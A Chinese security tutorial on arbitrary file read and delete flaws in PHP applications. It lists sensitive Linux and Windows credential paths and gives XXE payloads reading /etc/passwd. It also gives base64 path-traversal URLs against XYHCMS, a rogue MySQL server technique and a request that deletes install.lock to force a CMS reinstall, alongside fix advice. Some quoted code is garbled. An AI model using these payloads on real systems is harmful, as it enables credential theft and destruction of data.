任意文件读取和删除漏洞
掌控安全学院
编辑于 2021年04月06日 12:47

作者:掌控安全-柚子

任意文件读取

漏洞简介

原理

任意文件读取是属于文件操作漏洞的一种,通过提交专门设计的输入,攻击者就可以在被访问的文件系统中读取或写入任意内容,往往能够使攻击者从服务器上获取敏感文件,正常读取的文件没有经过校验或者校验不严格,用户可以控制这个变量或者变量读取任意文件。

一般任意文件读取漏洞可以读取配置信息甚至系统重要文件。

严重的话,就可能导致ssrF,进而漫游至内网。

成因

  • 存读取文件的函数

  • 读取文件的路径用户可控,且未校验或校验不严输出了文件内容

  • <?php

  • $filename="test.txt";

  • readfile($filename);

  • ?>

  1. <?php

  2. $filename="test.txt";

  3. echo file_get_contents($filename);

  4. ?>

测试代码

index.php

  1. <meta charset="UTF-8">

  2. <?php

  3. $filename = $_GET['file'];

  4. if(isset($_GET['file']))

  5. {

  6. //    $fp = fopen($filename,"r") or die("无法读取文件");

  7. //    $data = fread($fp);

  8.    echo file_get_contents("$filename");

  9. }else{

  10.    echo '<h1>任意文件读取</h1>';

  11. }

  12. ?>

危害

任意文件读取,是Web安全中的高危漏洞,导致网站处于极度不安全的状态

  1. 下载服务器任意文件,如脚本代码、服务及系统配置文件等;

  2. 可用得到的代码进一步代码审计,得到更多可利用漏洞。 同样任意文件读取也能在php中带来很多危害,比如比较严重的信息泄露,ssrF,反序列化问题ssrf文章 ,反序列化文章

任意文件读取寻找

漏洞常出现的点

  1. 存在读取文件的功能点

  2. 存在下载文件的功能点

  3. 提供文件查看或下载功能点

任意文件读取常用敏感文件路径

  • windows: C:\boot.ini (查看系统版本) C:\Windows\System32\inetsrv\MetaBase.xml (iis配置文件) C:\Windows\repair\sam (存储系统初次安装的密码) C:\Program Files\mysql\my.ini (Mysql配置) C:\Program Files\mysql\data\mysql\user.MYD (Mysql root) C:\Windows\php.ini (php配置信息) C:\Windows\my.ini (Mysql配置信息)

  • Linux: /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_rsa.keystore /root/.ssh/known_hosts /etc/passwd (主机账号文件) /etc/shadow (主机密码文件) /etc/my.cnf (Mysql配置文件) /etc/httpd/conf/httpd.conf (apache配置文件) /root/.bash_history (root操作命令历史记录) /root/.mysql_history (mysql命令历史记录) /proc/self/fd/fd[0-9]*(文件标识符) /proc/mounts /proc/config.gz

任意文件读取常见参数名

  • &RealPath=

  • &RealPath=

  • &FilePath=

  • &file=

  • &filename=

  • &Path=

  • &path=

  • &inputFile=

  • &url=

  • &urls=

  • &Lang=

  • &dis=

  • &data=

  • &readfile=

  • &filep=

  • &src=

  • &menu=

  • &META-INF=

  • &WEB-INF= ……

任意文件读取技巧

  1. 一般我拿到一个任意文件读取得先判断权限大不大,如果权限够大的话可以直接先把/etc/sadow读下来,权限不够就读/etc/passwd,先把用户确定下来,方便后续操作

  2. 读取各个用户的.bash_history能翻有用的信息,如编辑一些敏感文件

  3. 读取程序配置文件(如数据库连接文件,可以利用数据库写shell)

  4. 读取中间件配置文件(weblogic/tomcat/apache的密码文件、配置文件,确定绝对路径,方便后面读源码)

  5. 读取一些软件的运维配置文件(redis/rsync/ftp/ssh等等程序的数据、配置、文档记录)

  6. 读取程序源代码,方便后面做代码审计,找突破口

  7. 读取web应用日志文件,中间件的日志文件,其他程序的日志,系统日志等(可以网站后台地址、api接口、备份、等等敏感信息)

  8. 还有就是可以用字典先跑一波(字典之前有分享过),信息收集还是要全面点

任意文件读取

原生函数读取

file_get_contents(),highlight_file(),fopen(),readfile(),fread(),fgetss(),fgets(),parse_ini_file(),show_source(),show_source(),file(),除了这些正常的读取文件的函数之外,另外一些其他功能的函数也一样可以用来读取文件,比如文件包含函数include等,可以利用PHP输入输出流php://filter/ 来读取文件。

file_get_contents,在参数完全可控的情况下,可以出发phar反序列化,最严重的情况可以导致rce。

Phpcmsv9在2012年被爆出任意文件读取漏洞,当时也有很多企业因为这个漏洞被入侵,漏洞文件/phpcms/modules/search/index.php public_ 的get_suggest_keyword函数

此外,还有copy()函数,这里的copy一般的应用场景是路径可控,或者是图片地址,导致可以下载,74cms里面存在这个例子。

  • 74cms v4.2.3前台任意文件读取

_save_avatar() 函数

  1. protected function _save_avatar($avatar,$uid){

  2.        if(!$avatar) return false;

  3.        $path = C('qscms_attach_path').'avatar/temp/'.$avatar;

  4.        $image = new \Common\ORG\ThinkImage();

  5.        $date = date('ym/d/');

  6.        $save_avatar=C('qscms_attach_path').'avatar/'.$date;//图片存储路径

  7.        if(!is_dir($save_avatar)) mkdir($save_avatar,0777,true);

  8.        file_put_contents('balisong.txt',time());

  9.        $savePicName = md5($uid.time()).".jpg";

  10.        $filename = $save_avatar.$savePicName;

  11.        $size = explode(',',C('qscms_avatar_size'));

  12.        copy($path, $filename);

  13.        foreach ($size as $val) {

  14.            $image->open($path)->thumb($val,$val,3)->save("{$filename}._{$val}x{$val}.jpg");

  15.        }

  16.        M('Members')->where(array('uid'=>$uid))->setfield('avatars',$date.$savePicName);

  17.        @unlink($path);

  18.    }

代码审计可以看到将$avatar拼接到了$path变量中,然后将$path copy到了$filename去:

  1. copy($path, $filename);

$filename,它的文件名命名规则为:

  1. $savePicName = md5($uid.time()).".jpg";

这里就存在一个任意文件读取的操作了,首先我们的$avatar是从cookie里面取出来的,并且没有进行过滤,也没有限制后缀,直接拼接到了路径中,导致我们可以通过引用../这种跳目录的方式来让这个文件改变,并且copy之后的文件是个图片文件

众所周知,图片文件我们是可以直接下载下来的

所以我们可以控制源文件,然后可以知道目的文件的路径以及名称,那么就可以达到一个任意文件读取的效果。

简单总结就是

可以看到 _save_avatar() 函数首先获取要读取文件的路径,

再生成图片存储路径 $save_avatar 和 文件名 $filename。

然后用copy()函数把读取的文件内容复制给 $filename。

其中$avatar 部分变量可控,filename可猜解,导致的文件读取漏洞。

引申:如果当 file_get_contents(),copy(),或者readfile()这些操作文件的函数的参数完全可控的时候,表示协议可控,那么就可以可以通过phar协议触发反序列化, 比如readfile(‘phar://./test.phar’),最严重的危害还能直接导致rce。

file协议读取

file协议在xxe的应用

准备一个XXE漏洞的文件

  1. <?php

  2. $xml=file_get_contents("php://input");

  3. $data = simplexml_load_string($xml) ;

  4. echo "<pre>" ;

  5. print_r($data) ;//注释掉该语句即为无回显的情况

  6. ?>

XXE的利用主要有:任意文件读取、内网信息探测(包括端口和相关web指纹识别)、DOS攻击、远程命名执行等。此处只介绍任意文件读取的利用,其他利用可转至xxe文章学习。

https://bbs.zkaq.cn/t/4818.html

任意文件读取代码:

  1. <?xml version="1.0" encoding="utf-8"?>

  2. <!DOCTYPE xdsec [

  3. <!ELEMENT methodname ANY >

  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

  5. <methodcall>

  6. <methodname>&xxe;</methodname>

  7. </methodcall>

基于file协议的XXE攻击 XMLInject.php

  1. <?php

  2. # Enable the ability to load external entities

  3. libxml_disable_entity_loader (false);

  4. $xmlfile = file_get_contents('php://input');

  5. $dom = new DOMDocument();

  6. # http://hublog.hubmed.org/archives/001854.html

  7. # LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值

  8. # LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件

  9. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure

  10. $creds = simplexml_import_dom($dom);

  11. $user = $creds->user;

  12. $pass = $creds->pass;

  13. echo "You have logged in as user $user";`?>

  14. file_get_content('php://input')接收post数据,xml数据

  15. ?>

XML.txt

  1. <?xml version="1.0" encoding="ISO-8859-1"?>

  2. <!DOCTYPE foo [

  3. <!ELEMENT foo ANY >

  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

  5. <creds>

  6. <user>&xxe;</user>

  7. <pass>mypass</pass>`</creds>

导致可以读出etc/passwd文件,在使用file:// 协议时,有以下几种格式: file://host/path

  • Linuxfile:///etc/passwd

  • Unixfile://localhost/etc/fstabfile:///localhost/etc/fstab

  • Windowsfile:///c:/windows/win.inifile://localhost/c:/windows/win.ini

  • (下面这两种在某些浏览器里是支持的)file:///c|windows/win.inifile://localhost/c|windows/win.ini

XML文档是用PHP进行解析的,那么还可以使用php://filter 协议来进行读取。

  1. <?xml version="1.0" encoding="utf-8"?>

  2. <!DOCTYPE root [

  3. <!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini">

  4. ]>

  5. <root><foo>&content;</foo></root>

file协议在curl的应用

curl支持file伪协议,利用file伪协议可以获取本地文件系统

php curl识别出来这是个file协议,他会忽略192.168.224.130,而是直接读取文件/etc/passwd。

任意文件读取漏洞实例

XYHCMS V3.5后台任意文件读取

环境准备

XYHCMS官网:

程序源码下载:

http://www.xyhcms.com/Show/download/id/2/at/0.html

测试站首页

代码分析 漏洞文件位置:/App/Manage/Controller/TempletsController.class.php 第59-83行:

  1. public function edit() {

  2.      $ftype     = I('ftype', 0, 'intval');

  3.      $fname     = I('fname', '', 'trim,htmlspecialchars');

  4.      $file_path = !$ftype ? './Public/Home/' . C('CFG_THEMESTYLE') . '/' : './Public/Mobile/' . C('CFG_MOBILE_THEMESTYLE') . '/';

  5.      if (IS_POST) {

  6.          if (empty($fname)) {

  7.              $this->error('未指定文件名');

  8.          }

  9.          $_ext     = '.' . pathinfo($fname, PATHINFO_EXTENSION);

  10.          $_cfg_ext = C('TMPL_TEMPLATE_SUFFIX');

  11.          if ($_ext != $_cfg_ext) {

  12.              $this->error('文件后缀必须为"' . $_cfg_ext . '"');

  13.          }

  14.          $content  = I('content', '', '');

  15.          $fname    = ltrim($fname, './');

  16.          $truefile = $file_path . $fname;

  17.          if (false !== file_put_contents($truefile, $content)) {

  18.              $this->success('保存成功', U('index', array('ftype' => $ftype)));

  19.          } else {

  20.              $this->error('保存文件失败,请重试');

  21.          }

  22.          exit();

  23.      }

  24.      $fname = base64_decode($fname);

  25.      if (empty($fname)) {

  26.          $this->error('未指定要编辑的文件');

  27.      }

  28.      $truefile = $file_path . $fname;

  29.      if (!file_exists($truefile)) {

  30.          $this->error('文件不存在');

  31.      }

  32.      $content = file_get_contents($truefile);

  33.      if ($content === false) {

  34.          $this->error('读取文件失败');

  35.      }

  36.      $content = htmlspecialchars($content);

  37.      $this->assign('ftype', $ftype);

  38.      $this->assign('fname', $fname);

  39.      $this->assign('content', $content);

  40.      $this->assign('type', '修改模板');

  41.      $this->display();

  42.  }

  • 这段函数中对提交的参数进行处理,然后判断是否POST数据上来,如果有就进行保存等,如果没有POST数据,将跳过这段代码继续向下执行。 我们可以通过GET传入fname,跳过前面的保存文件过程,进入文件读取状态。 对fname进行base64解码,判断fname参数是否为空,拼接成完整的文件路径,然后判断这个文件是否存在,读取文件内容。 对fname未进行任何限制,导致程序在实现上存在任意文件读取漏洞。

  • 漏洞复现 登录网站后台,数据库配置文件路径:\App\Common\Conf\db.php

我们将这段组成相对路径,..\..\..\App\Common\Conf\db.php,然后进行base64编码,Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==

最后构造的链接形式如下:

http://127.0.0.1/xyhai.php?s=/Templets/edit/fname/Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==

通过url访问,成功获取到数据库敏感信息.

  • 修复建议 1、取消base64解码,过滤.(点)等可能的恶意字符 2、正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置规则。

不仅在某些cms里存在这样的漏洞,在windows和mysql里也一样存在。

windows任意文件读取漏洞

  • 漏洞原理 该bug在“MsiAdvertise.”中调用此函数将导致安装程序服务复制文件。这将把可以用第一个参数控制的任意文件复制到c:windows\installer……在模拟时完成检查,但是使用连接仍然有一个TOCTOU。这意味着我们可以将它复制为SYSTEM的任何文件,并且目标文件总是可读的。这会导致任意文件读取漏洞。

  • 复现思路 1、同一台windows主机创建两个账户,一个是tdcoming(管理员组),一个是test(普通用户组) 2、登录两个账号(使用mimikatz,或者msf可以实现) 3、在tdcoming桌面上放一个文本文件 4、通过test账户,利用作者的poc读取管理员tdcoming组的桌面文本内容

  • 漏洞复现 1.创建两个账号

2.登录两个账号

3.在tdcoming桌面上放一个文本文件

4.通过test账户,读取管理员tdcoming组的桌面文本内容

mysql任意文件读取漏洞

  • 漏洞原理 攻击者搭建一个伪造的mysql服务器,当有用户去连接上这个伪造的服务器时。攻击者就可以任意读取受害者的文件内容。主要是因为LOAD DATA INFILE这个语法。作用是读取一个文件的内容并且放到一个表中。

相关exp:

  1. 首先是配置恶意服务器。在db服务器的命令行里修改root/exp/rogue_mysql_server.py文件,设port为3306外的其他端口,这里设为3307,然后在filelist中选择一个要读取的文件。我们这里读取/etc/passwd文件。

2.运行python rogue_mysql_server.py,启动服务,服务会监听3307端口。

3.打开phpMyAdmin的登录页面,地址输入 db:3307 用户密码随意输,提交登录。

4.会发现生成一个mysql.log日志,查看日志。

5.在日志中我们看到成功读取了passwd文件。

任意文件删除

漏洞简介

原理

同样是被删除文件的变量用户可控,且没有进行严格的校检,所以导致任意文件删除,再配合目录遍历,删除硬盘上的其他文件。

危害

这个漏洞的危害还是很大的,别人可以删除你电脑上的私密文件等。可能哪天重启服务器发现服务器崩溃了,都有可能是这个漏洞造成的。

环境搭建

首先在当前目录及上级目录创建1.txt文件以作测试

index.php

先来操作当前目录下1.txt,构建地址:

成功删除。

修复方案

  • 采用正则匹配,严格过滤用户参数

  • 检查用户使用的文件名是否存在…/这样的字符

  • 在php.ini中设置open_basedir来限定文件访问范围

删除函数

rmdir()函数

  • 定义和用法 rmdir() 函数删除空的目录。 若成功,则该函数返回 true。若失败,则返回 false。

  • rmdir(dir,context)

参数描述dir必需。

规定要删除的目录。context必需。

规定文件句柄的环境。

Context 是可修改流的行为的一套选项。

  • 说明和注释

    1. 尝试删除 dir 所指定的目录。 该目录必须是空的,而且要有相应的权限。

    2. 对 context 的支持是 PHP 5.0.0 添加的。

  • 例子<?php $path = "images";if(!rmdir($path)){echo ("Could not remove $path");}?>

unlink()函数

  • 定义和用法 unlink() 函数删除文件。 若成功,则返回 true,失败则返回 false。

    1. unlink(filename,context)

说明和注释

对 context 的支持是 PHP 5.0.0 添加的。

例子

  1. <?php

  2. $file = "test.txt";

  3. if (!unlink($file))

  4. {

  5. echo ("Error deleting $file");

  6. }

  7. else

  8. {

  9. echo ("Deleted $file");

  10. }

  11. ?>

任意文件删除漏洞实例

XYHCMS 3.2 后台任意文件删除漏洞

漏洞影响

XYHCMS 3.2

漏洞分析

  1. /App/Manage/Controller/DatabaseController.class.php

  2.  //删除sql文件

  3.  public function delSqlFiles() {

  4.  $id = I('id', 0, 'intval');

  5.  $batchFlag = I('get.batchFlag', 0, 'intval');

  6.  //批量删除

  7.  if ($batchFlag) {

  8.      $files = I('key', array());

  9.  } else {

  10.      $files[] = I('sqlfilename', '');

  11.  }

  12.  if (empty($files)) {

  13.      $this->error('请选择要删除的sql文件');

  14.  }

  15.  foreach ($files as $file) {

  16.      $_ext = pathinfo($file, PATHINFO_EXTENSION);

  17.      //拼接后直接删除

  18.  foreach ($files as $file) {

  19.      unlink($this->getDbPath() . '/' . $file);

  20.  }

  21.  $this->success("已删除:" . implode(",", $files),    U('Database/restore'));

  22.  }

漏洞复现 1. 登录后台 2. 删除安装锁文件  a.get方式

http://www.0-sec.org/xyhai.php?s=/Database/delSqlFiles/sqlfilename/..\\..\\..\\install/install.lock 

b.post方式

POST数据:key[]=../../../install/install.lock

3. 之后访问 http://www.0-sec.org/install重装cms